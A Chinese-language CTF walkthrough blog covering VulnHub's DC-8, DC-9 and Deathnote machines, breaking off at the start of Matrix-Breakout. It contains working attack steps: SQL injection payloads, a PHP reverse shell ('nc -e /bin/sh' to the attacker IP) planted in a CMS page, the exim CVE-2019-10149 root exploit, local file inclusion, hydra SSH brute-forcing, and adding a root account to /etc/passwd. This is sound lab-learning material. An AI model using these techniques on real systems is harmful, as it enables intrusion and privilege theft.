88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888

Congratulations!!!

Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

If you enjoyed this CTF, send me a tweet via @DCAU7.

意思是:
恭喜!!!

希望你喜欢 DC-7。只是想向所有这些人表示衷心的感谢
提供反馈的人,以及所有花时间完成这些小事的人
挑战。

我要特别感谢:

@4nqr34z
@D4mianWayne
@0xmzfr
@心42

如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文

一个旗子找完,游戏结束

八、DC8[初级]

only one flag

hint:
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.

意思是:
这个挑战有点混合实际挑战和“概念证明”,即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。

这个挑战的“概念证明”部分最终是由于 Twitter 上关于双因素身份验证和 Linux 的问题,以及@theart42 的建议。

此挑战的最终目标是绕过双重身份验证,获取 root 权限并读取唯一标志。

除非您尝试通过 SSH 登录,否则您可能甚至不知道已安装和配置了双因素身份验证,但它肯定存在并且可以正常工作。

信息收集

nmap扫一下

image-20221102234939357

发现
22端口
运行着ssh

80端口下
发现有个include页面,可能需要在这里上传木马拿shell
然后有install.mysql.txt,看来可能需要用到数据库

dirsearch扫一下

image-20221102235306844

发现有/user/login页面,猜测是登录后台的页面
后面找找有没有账号密码信息

再看看wapplzer

image-20221103112318956

1.sql注入

然后分析网站页面

发现在details时,url出现

1
http://192.168.133.147/?nid=1

image-20221103112255720

看到注入处,再结合之前的nmap扫描的结果,有mysql安装,猜测可能存在sql注入

试试sql注入有没有反应

1
192.168.133.147/?nid=-1 union select schema_name from information_schema.schemata--+

image-20221103130411912

看来确实是存在sql注入

手动注不难,完全没有过滤,但还是用sqlmap直接梭哈

数据库知道了

先看看表

image-20221103131256965

看到有个users列,查看有没有我们需要的后台登录的账号密码

发现有两个用户

image-20221103131824229

1
2
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

但是密码是加密的,我们用john爆破一下

先把密码写入密码文本pass.txt

image-20221103133656691

image-20221103133745514

然后就用john自带的密码本就行

1
john pass.txt

但是再这里我用了johny

image-20221103134419589

一个图形化的爆破工具

这里只得到john用户的密码

1
turtle

2.后台添加木马

拿到账号密码后,我们到后台登录页面进行登录

1
http://192.168.133.147/user/login

image-20221103134815814

登录成功,根据之前我们信息收集,在nmap得到的信息,我们需要找到上传木马或者修改文件内容的地方

在右上角我们看到有个content

打开看看里面是不是可以修改

image-20221103135017243

结果发现Contact Us页面文件可以进行修改

打开看看,发现在edit没有修改的地方

image-20221103142531482

于是找了找网站源码在

image-20221103143057684

这里可以修改,于是我们就修改一下

并记得把编码文件格式改为PHP code

1
2
3
4
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/sh 192.168.133.140 8888");
?>

image-20221103143148817

image-20221103144244656然后底下保存

3.反弹shell

然后我们开始监听

1
nc -lvnp 8888

image-20221103145521745

访问Contact Us页面发送信息,从而触发php执行命令

image-20221103145747096

拿到shell

image-20221103145811789

4.提权【exim4】

先进入交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20221103145952120

先查看一下suid命令

1
find / -perm -u=s -type f 2>/dev/null

image-20221103150054750

找到了个新的命令exim4,搜了一下

exim4

exim远程命令执行漏洞分析(cve-2019-10149

在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):攻击者可以以root权限使用execv()来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。

这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。

从4.87版开始(2016年4月6日公布),由于#ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了EXPERIMENTAL_EVENT选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):

根据文档,发现是个和邮件服务有关的命令,并且存在命令执行漏洞

我们先查看一下其版本是否在这个nday的范围里

image-20221103150517673

发现刚好是这个版本范围,是存在RCE

查看一下有没有利用的脚本

image-20221103151738985

1
Privilege:特权

选择46996.sh,我们查看一下脚本文件内容

1
2
3
searchsploit 46996 -p  

cat /usr/share/exploitdb/exploits/linux/local/46996.sh

image-20221103151838092

image-20221103152003846

发现有两个使用方法,一个setuid,一个netcat

主要是上传到靶机shell后,执行命令不同

1
2
3
./raptor_exim_wiz -m setuid

./raptor_exim_wiz -m netcat

我们先把脚本文件复制下来

image-20221103152351530

再上传到靶机shell

kali主机执行

1
nc -lvp 9999 < raptor_exim_wiz

image-20221103152714451

靶机shell中执行

1
nc 192.168.133.140 9999 > raptor_exim_wiz

image-20221103153550325

发现权限不够,看来是不能在这个页面新建文件

我们到/tmp目录下一般可以

image-20221103153658085

下载成功

执行提权

1
./raptor_exim_wiz -m setuid

image-20221103153740349

发现无执行权限,我们修改一下

1
chmod 777 raptor_exim_wiz

image-20221103153901179

成功执行脚本


意外

但结果发现还是

image-20221103154130346

低权限账号

于是我们再执行

1
./raptor_exim_wiz -m netcat

结果还是一样

image-20221103155324498

而且提醒在靶机的31337端口连接关闭了

看了看其他大佬的wp

发现有一步【其实是没必要的】

在脚本文件里执行
说是因为这个脚本是windows底下编写的,所以需要修改一下,改成Linux
set ff=unix

结果还是一样,看来是靶机有问题了,猜测是靶机和kali主机之间连接有问题,我换手机热点试试


成功【校园网真垃圾】

image-20221103160625006

到根目录查看flag

image-20221103160824407

得到flag

1
2
3
4
5
6
7
8
888       888          888 888      8888888b.                             888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888

Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm also sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

This challenge was largely based on two things:

  1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
  2. A suggestion from @theart42

The answer to that question is...

If you enjoyed this CTF, send me a tweet via @DCAU7.

意思是:
希望你喜欢 DC-8。只是想向所有这些人表示衷心的感谢
提供反馈的人,以及所有花时间完成这些小事的人
挑战。

我还要特别感谢:

@4nqr34z
@D4mianWayne
@0xmzfr
@心42

这一挑战主要基于两件事:

  1. 我从有人询问关于 Linux 机器上的 2FA 以及它是否值得的一条推文。
  2. 来自@theart42 的建议

这个问题的答案是……

如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。

【注意,这个提权不稳定,所以需要快点拿取flag,或者按我之前写的方法进入稳定shell


p.s. setuid

我再试试另外一个命令试试

1
./raptor_exim_wiz -m setuid

image-20221103161221325

发现还是一样

查了一下

setuid

setuid是类unix系统提供的一个标志位, 其实际意义是set一个process的euid为这个可执行文件或程序的拥有者(比如root)的uid, 也就是说当setuid位被设置之后, 当文件或程序(统称为executable)被执行时, 操作系统会赋予文件所有者的权限, 因为其euid是文件所有者的uid.

而且我们执行完发现生成了两个pwn文件【狂喜,最近正好在学习pwn

查了一下setuidpwn中的利用

在pwn中

什么是setuid?

setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配

这么说起来有点绕,我们来举一个例子

一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了

演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程

1
ps -aux

image-20221103162544585

这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下setuid文件看看

image-20221103162848360

这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限

image-20221103162937431

r代表读,w代表写,x代表执行,那s是什么呢

s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的

当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的

我们的目标就是,破解(pwn)这些文件然后拿到root权限读取flag

这也就是这个命令执行的目的

1
./raptor_exim_wiz -m setuid

简而言之,其实就是suid提权

但这里可能是因为靶机的原因无法执行提权成功


总而言之,这一关只是在DC2上修改了一点,只要把前面几关做了,这关难度并不大

难受的是遇到pwn,虽然在这里并没有什么用,但是如果遇到这类二进制文件如何修改才能让其成为我们提权的工具,

而且现在二进制还啥也不会,继续学习吧

一个旗子找完,游戏结束【吐血了】


九、DC9[中级]

only one flag

(dc最后一关)建议可以自己想办法做一下,如果之前是靠别人wp来提供思路的话

信息收集

先用nmap扫一下

image-20221103191148810

结果发现只有80端口是打开的

而且也没有什么敏感的信息

然后再dirsearch扫一下

image-20221103191356470

结果没有什么有价值的东西

image-20221103191535378

wappalyzer里也看不出什么信息,CMS也没显示

1.sql注入

啥也没有信息,但是在display all records

我们看到一大串枚举数据,很熟悉,这和sql注入感觉有很大的关系

image-20221103195324565

找了一下发现url并没有sql注入的方式,那就可能是输入框进行sql注入了

根据枚举的数据,猜测是在search

image-20221103200048490

我们直接抓包数据,拿sqlmap梭哈

image-20221103200315686

image-20221103200434113

好家伙真的是sql注入

后面不赘述,找到并查看users数据库中用户信息

image-20221103200557398

好家伙,完全没有对密码加密

但是根据登录页面,是需要管理员账号的,再根据staff,看来我是找错表了

image-20221103200743790

于是按上面一样步骤,查看Staff数据库里的信息

image-20221103201409346

果然在这里

transorbital1
我开始以为是啥密钥,结果是密码明文,麻了

当然时间充足的兄弟可以hashcat试试【坏笑】

image-20221103202130464

成功登录

2.文件包含

发现多了两个选项是,一个是增加用户,另一个是登出账号

但是我突然发现

底下莫名多了一行字

1
File does not exist

???

哪里来的file,看来是进行了读取文件操作,但是文件参数不存在

猜测可能存在文件包含漏洞

于是我们在url后加上?file=进行文件包含

http://192.168.133.149/manage.php?file=../../../../../etc/passwd
返回到根目录下,包含/etc目录下的passwd文件

image-20221103205431449

但这里并没有我们想要的信息,

3.ssh

1) knockd

在1920年代,当禁令如火如荼地进行时,如果您想进入说话状态,就必须知道秘密的敲门声,并正确地敲打它才能进入内部。

端口敲门是现代的等同物。 如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。
它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。 另一个秘密的敲门声关闭了港口。

我在学习笔记写有其原理,可以看看,我不在这里赘述

先查看敲门顺序

http://192.168.133.149/manage.php?file=../../../../../etc/knockd.conf

image-20221103213357210

发现是

1
7469,8475,9842

敲一下

1
knock 192.168.133.149 7469 8475 9842

image-20221103214033662

然后再用nmap扫一下,发现22端口开了

image-20221103214022727

2) hydra

然后我们用九头蛇爆破登录一下ssh

至于账户密码就用我们之前sql注入得到的第一个的数据

image-20221103200557398

username:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

password:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

usernamepassword复制到两个文本文件中去

1
hydra -L user.txt -P pass.txt 192.168.133.149 ssh

image-20221103215414559

发现有三个可以登录

login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee

我们先登录janitor

login: janitor password: Ilovepeepee

image-20221104165102940

登录成功

4.提权

先执行

1
sudo -l

看看当前用户能以管理员身份执行哪些命令

image-20221104165528505

看来我们没有资格

再执行

1
ls -la

查看当前用户目录文件

image-20221104165145529

发现有个

1
secrets-for-putin

可能有管理员密码什么的

image-20221104165242513

果然有个文本文件,查看

1
cat passwords-found-on-post-it-notes.txt

image-20221104165331378

又多了几个密码

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

我们把这个补充到我们九头蛇爆破的密码本里

再进行爆破ssh

1
hydra -L user.txt -P pass.txt 192.168.133.149 ssh

我们发现多了一个新的账号

image-20221104165738669

login: fredf password: B4-Tru3-001

我们登录ssh看看

再执行

1
sudo -l

image-20221104165927452

发现其可以以无密码root权限执行

1
/opt/devstuff/dist/test/test

我们执行一下试试

1
sudo /opt/devstuff/dist/test/test

image-20221104170533241

提示我们有个test.py正在被读取使用

我们找一下这个文件在哪里

find / -name "test.py" -type f 2>/dev/null

-type f代表类型为文件,d为目录
2>/dev/null产生更清晰的输出,因为它会丢弃错误,例如权限错误

image-20221104170743086

我们到文件目录下查看一下内容

image-20221104170808449

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

py脚本利用

脚本接受了两个位置参数,并将第一个文件的内容,附加到第二个文件的内容中

其实如果我们有修改脚本的权限就好了,可以改成恶意脚本,但是我们并没有在这个目录写入的权限

于是,我们可以换个思路,就利用脚本的把一个文本内容附加到另外文本的能力,修改我们无法修改的文件,比如/etc/passwd

我们先看看/etc/passwdroot用户的格式

image-20221104171635506

按这个格式我们写一个自己的

ttoc::0:0:root:/root:/bin/bash
我这里设置的用户ttoc密码为空


openssl加盐

其实这里是需要给我们真假的用户添加密码的

不然是通过不了密码输入那一环,那里不允许密码为空

我们执行

openssl passwd -1 -salt salt password

-1使用什么哈希算法。在我们的用例中,这无关紧要,因此我们使用 MD5,在现实世界的 PT 中应该避免使用 MD5,因为它不安全。

-salt salt用作盐的字符串。我选择字符串盐

password我们想使用的明文密码

得到

1
$1$salt$qJH7.N4xYta3aEG/dfqo/0

注意如果开始没加密码就传入/etc/passwd,后面修改后再传用户,名字不能相同


但是注意我们其实在很多目录下都没有写入权限,但是我们可以用经典使用

/tmp,临时文件目录下的权限管控一般不大

于是我们把我们的内容写入/tmp目录下的evil文件中

echo 'ttoc:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash' > /tmp/evil

*注意这里需要单引号,双引号会把$后面参数当作变量

然后我们再执行

sudo /opt/devstuff/dist/test/test /tmp/evil /etc/passwd

把我们创建的用户root添加到文本去

image-20221104172732031

最后登录ttoc

1
su ttoc

image-20221104173707687

成功提取

读取flag

image-20221104173836066

1
2
3
4
5
6
7
8
███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝


Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding. :-)

Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.

So long, and thanks for all the fish.

意思是:
恭喜 - 你已经完成了这一点。

希望你喜欢 DC-9。只是想对所有这些人表示衷心的感谢
他们花时间完成了各种 DC 挑战。

我还要向@m0tl3ycr3w 的各个成员表示衷心的感谢。

他们是一群鼓舞人心的人。

当然,它们可能会闻到一点味道,但是……开玩笑。 :-)

可悲的是,一切都必须结束,这将是最后一次
DC系列中的挑战。

这么久,感谢所有的鱼。

一个旗子找完,游戏结束

【dc系列结束,阅读到本文的朋友,希望对你们有所帮助】


ELSE

一、DEATHNOTE: 1[初级]

基拉好帅,必须拿这个开头,直接提权进他的心【不是南通】

image-20221106151711523

hint:
不要浪费太多时间跳出框框思考。这是一个直截了当的盒子。


找这个靶场ip,就把我卡住了,后面看到好像这个靶机和vm不兼容,只能用vitrualbox

后面下了个vitrualbox才找到靶机ip

image-20221108134734459

然后vm也桥接,就找到了

image-20221108190437827

顺带补充两个扫描工具【使用自行-h查看】【感觉和nmap差不多】

arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR
地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬
件厂商,帮助用户确认目标。

netdiscover
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。本文介绍Netdiscover的安装和使用方法。


信息收集

习惯nmap扫一下

image-20221108191059284

22端口开放,运行ssh
80端口开放,运行http

然后访问靶机ip

image-20221108192408036

看到页面显示please wait.....

image-20221108192756267

然后显示连接失败

看来是需要修改/etc/hosts文件,添加靶机域名和ip

image-20221108193016082

再次访问靶机ip

image-20221108193044669

访问成功

我们先查看一下网站的框架

image-20221108200530705

CMSwordpress 5.8,很老的版本了,这里肯定有提权的方式

采用脚本为Twiiter Emoji,这是推特的开源库里的引用表情的脚本,不是关键

我们看到页面有hint

image-20221108193350489

Find a notes.txt file on server or SEE the L comment

意思是:

找到一个notes.txt 文件服务器上

看看L的评论

那我们就可以用dirsearch扫一下,看看能不能找到notes.txt文件在哪里,以及评论网页在哪里

评论页面我是在首页面中间

i will eliminate you L!

链接跳转找到的,但好像没啥信息,似乎看不到L的评论

image-20221108204306618

1
http://deathnote.vuln/wordpress/index.php/2021/07/19/kira/

image-20221108204334859

左下角的

my fav line is iamjustic3

L on i will eliminate you L!

我最喜欢的台词是iamjustic3
L 在 ,我会消灭你L!

iamjustic3:分开看i am justic 3【我是正义的3】,但好像实际意思,后面看看能不能利用的

eliminate:消灭,纯粹单词意思,没啥意义

我们先用dirsearch扫一下找一下信息

image-20221108200416113

*关键信息

关键登录页面和robots.txt【其他页面没有啥信息】

1
http://deathnote.vuln/wordpress/wp-login.php

image-20221108201422820

爬虫文本

image-20221108201357084

fuck it my dad
added hint on /important.jpg

ryuk please delete it
意思是:
x我的爸爸
他把暗示藏在了/important.jpg

ryuk,请删了它

ryuk是基拉的死神,基拉让他删除图片,同时图片也藏有信息
虽然我们找到了登录页面,以及用户名,但是还是不知道密码
所以还要找密码

我们先试试我们能不能查看/important.jpg

image-20221108210813828

发现图片无法显示

看来图片格式有问题,应该是插入了文本什么的

我们用curl

1
curl http://deathnote.vuln/important.jpg

得到

image-20221108220741696

i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira

i can only help you by giving something important

login username : user.txt
i don't know the password.
find it by yourself
but i think it is in the hint section of site

意思是:
我是光的父亲 八神宗一郎
我怀疑 L 关于光是 kira 的假设是否正确

我只能通过提供一些重要的东西来帮助你

登录用户名:user.txt
我不知道密码。
自己找
但我认为它在网站的提示部分
#user.txt看来需要同样访问找一下
#提示部分有密码,看来就是notes.txt文本里了

那后面就是找一下这两个文本文件在哪里了

1.wpscan

既然信息不够,那我们就用对应的CMS工具【wpscan】扫一下看看有没有信息

1
wpscan --url http://deathnote.vuln/wordpress -e u

image-20221108204728050

发现kira才是真正的后台用户,那么ryuk可能就是ssh的登录用户,那他的密码是多少呢

这个时候我想起他的留言

my fav line is iamjustic3

L on i will eliminate you L!

他说他最喜欢的台词是iamjustic3

既然是最喜欢的,那最有可能拿来当密码。所以这个可能就是kira的后台网站的登陆密码

登录后台

kira
iamjustic3

image-20221108205228054

登录成功

这个页面提醒需要管理员邮箱验证,直接remind me later,我们先到后台看看

进来后台发现comments页面,先看看能不能看到L的评论

image-20221108205526638

发现同样啥也没有

2.ssh登录

我们再看看其他页面

Media页面

image-20221108211543340

我们发现了notes.txt

image-20221108211618643

点开得到notes.txt文本的位置

1
http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt

访问得到

image-20221108211705028

看起来很像密码本

death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me

我们试试爆破ssh

我们再弄个用户名本

就拿我们已知的三个用户,做成用户名本
kira
l
ryku

然后九头蛇爆破登录ssh

1
hydra -L un.txt -P pass.txt 192.168.163.123 ssh -s 22

image-20221108213915226

发现登录用户【看来用不上去找那个user.txt

l
death4me

然后我们试试登录

1
ssh l@192.168.16.123 

image-20221108214049547

登录成功,并看到当前目录下有个文本文件user.txt【无奈,现在找到应该也没啥用了】

查看一下

image-20221108214257074

发现是串看不懂的文本

我们试试ciphey解密一下

1
2
ciphey -t "++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.
"

得到

image-20221108221734407

i think u got the shell , but you wont be able to kill me -kira
意思是:
我想你已经拿到shell了,但你杀不了我-基拉

感觉信息没啥用,但是大概猜测,杀死基拉是需要提权的,但是从L这里是无法提权,只有基拉才可以提权

我们可以试试我们能否以管理员身份执行一些命令

1
sudo -l

image-20221108222201419

这样看来L是无法以管理员身份执行任何命令,那就只有看看有没有其他路径了

我们再输入

1
pwd

看看我们当前路径

image-20221108214344792

发现我们还有个上级目录,返回查看其下目录

居然还有个kira的目录

我们看看有什么

image-20221108214506480

image-20221108214544456

发现其目录下的kira.txt设置了权限

我们尝试用之前后台登录的密码登录,也失败了

3.登录kira

看来我们还需要找找信息,根据user.txt文本信息,我们必须要成功登录kira的用户,才可以提权拿到我们想要的东西

那我们直接搜索当前全部含有kira的文件或者目录

1
find / -name "kira*" 2>/dev/null

image-20221108222721847

前两个前面访问过没权限

后面四个三个图片,最后一个也访问过,也没权限

image-20221108222833431

那就只有一个了

1
/opt/L/kira-case

我们查看一下有无信息

image-20221108223018151

发现其为一个目录,且其下有一个文本文件

the FBI agent died on December 27, 2006

1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami's family .

hmmmmmmmmm......
and according to watari ,
he died as other died after Kira targeted them .

and we also found something in
fake-notebook-rule folder .
意思是:

联邦调查局特工于 2006 年 12 月 27 日去世

工作组成员/负责人调查后 1 周。
又名……
八神宗一郎的家人。

嗯嗯嗯嗯……
根据 Watari 的说法,
在基拉瞄准他们之后,他死了,其他人也死了。

我们还发现了一些东西
假笔记本规则文件夹

看来我们需要到fake-notebook-rule这个文件夹下寻找一番

1
find / -name "fake-notebook-rule" 2>/dev/null

找找位置

image-20221108223338919

发现在

1
/opt/L/fake-notebook-rule

查看其下文件信息

image-20221108223431583

大概意思看来就是让我们用cyberchefcase.wav的字符串解密【一眼16进制,直接手动解码算了】

1
63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

我们解码试试

16进制

image-20221108223720859

解码base64

image-20221108223847293

passwd : kiraisevil

得到kira密码

我们直接登录

1
su kira

image-20221108223953100

登录成功

4.提权

我们先看看kira能以管理员身份执行哪些命令

1
sudo -l

image-20221108224111044

好家伙

1
(ALL : ALL) ALL

代表他可以以管理员身份执行一切命令,那他就相当于管理员了

执行

1
sudo su 

image-20221108224357240

直接无密码进入管理员用户

然后查看到根目录查看flag

image-20221108224501582

1
2
3
4
5
6
7
8
9
10
11
      ::::::::       ::::::::       ::::    :::       ::::::::       :::::::::           :::    :::::::::::       :::::::: 
:+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +#+ +:+ +#+ +:+ +#+ :#: +#++:++#: +#++:++#++: +#+ +#++:++#++
+#+ +#+ +#+ +#+ +#+#+# +#+ +#+# +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######## ######## ### #### ######## ### ### ### ### ### ########

##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF

游戏结束


p.s.靶机彩蛋

之前我们以L的身份查看kira,发现他底下有个kira.txt文本文件,我们无权访问

现在我们可以访问看看

image-20221108224728118

发现是一串base64加码字符

解码看看

image-20221108224803164

please protect one of the following

  1. L (/opt)

  2. Misa (/var)

只能选其一来保护

/opt底下的L,我们已经看过了

我们看看/var下的Misa有什么

image-20221108225235107

it is toooo late for misa
#对米沙而言,已经太迟了

感兴趣的朋友可以去看看DEATH NOTE


二、MATRIX-BREAKOUT:2 MORPHEUS[中级]

《矩阵突破》:2 墨菲斯

描述:
This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.
Difficulty: Medium-Hard

这是 Matrix-Breakout 系列中的第二部,副标题为 Morpheus:1。它的主题是回归第一部 Matrix 电影。您扮演 Trinity,试图调查 Nebuchadnezzar 上的一台计算机,Cypher 已将其他人拒之门外,而这台计算机掌握着解开谜团的钥匙。
难度:中等难度

懶人包》『駭客任務』系列電影回顧,1 ~ 4 集詳細劇情、心得 ...

wc确实有东西
实在不懂可以看这个研讨会视频
https://www.beyondtrust.com/webinars/attacking-and-defending-linux-breaking-out-of-the-matrix-edition#video-container
虽然这个不是这个靶机的wp,但是我还是从其中获得很多思路

信息收集

先扫描一下端口

image-20221117130716527

发现22端口开放,运行着ssh
80,81两个端口都运行着http
但是两者名字不同,可以判断出
但是80端口可以任意访问,81端口访问需要一定权限

image-20221117134302741

发现81端口是需要登录的

然后dirsearch扫一下目录

image-20221117130822881

发现网站目录下有爬虫协议,我们可以访问看看其中有没有关键信息

image-20221117131146601

There's no white rabbit here. Keep searching!
意思是:这里没有白兔。继续搜索!

#white rabbit就是爱丽丝梦游仙境里的,跟着白色的兔子,掉进兔子洞

看来是有个引导的信息,会带我们找到一个很关键的东西

再用whatweb查看网站可显示的框架

image-20221117131950416

没有啥信息

我们访问网站看看有没有其他信息

image-20221117131405964

Welcome to the Boot2Root CTF, Morpheus:1.

You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out of, at least for ssh.

Good luck! - @jaybeale from @inguardians
意思是:
欢迎来到Boot2Root CTF,墨菲斯:1.

你扮演Trinity,试图调查尼布甲尼撒半岛上的一台电脑,Cypher把所有人都锁在外面,至少对于ssh

祝你好运! -@jaybealefrom@inguardians

#Cypher电影中反抗组织的一个叛徒,他把反抗组织锁在门外,我们又要用到ssh
那看来ssh登录的用户名为Cypher

信息还是太少了,dirsearch只扫到两个可以访问,实在利用太少

所以我们换个扫描工具

dirbuster

DirBuster支持全部的Web目录扫描方式,用来探测web服务器上的目录和隐藏文件

这里我利用的是

1
/usr/share/dirbuster/wordlists/

image-20221119232447671

我通过dirbuster工具扫描到

1
http://192.168.80.131/graffiti.php

image-20221119232601421

【看来dirsearch的目录太少了】

访问

1
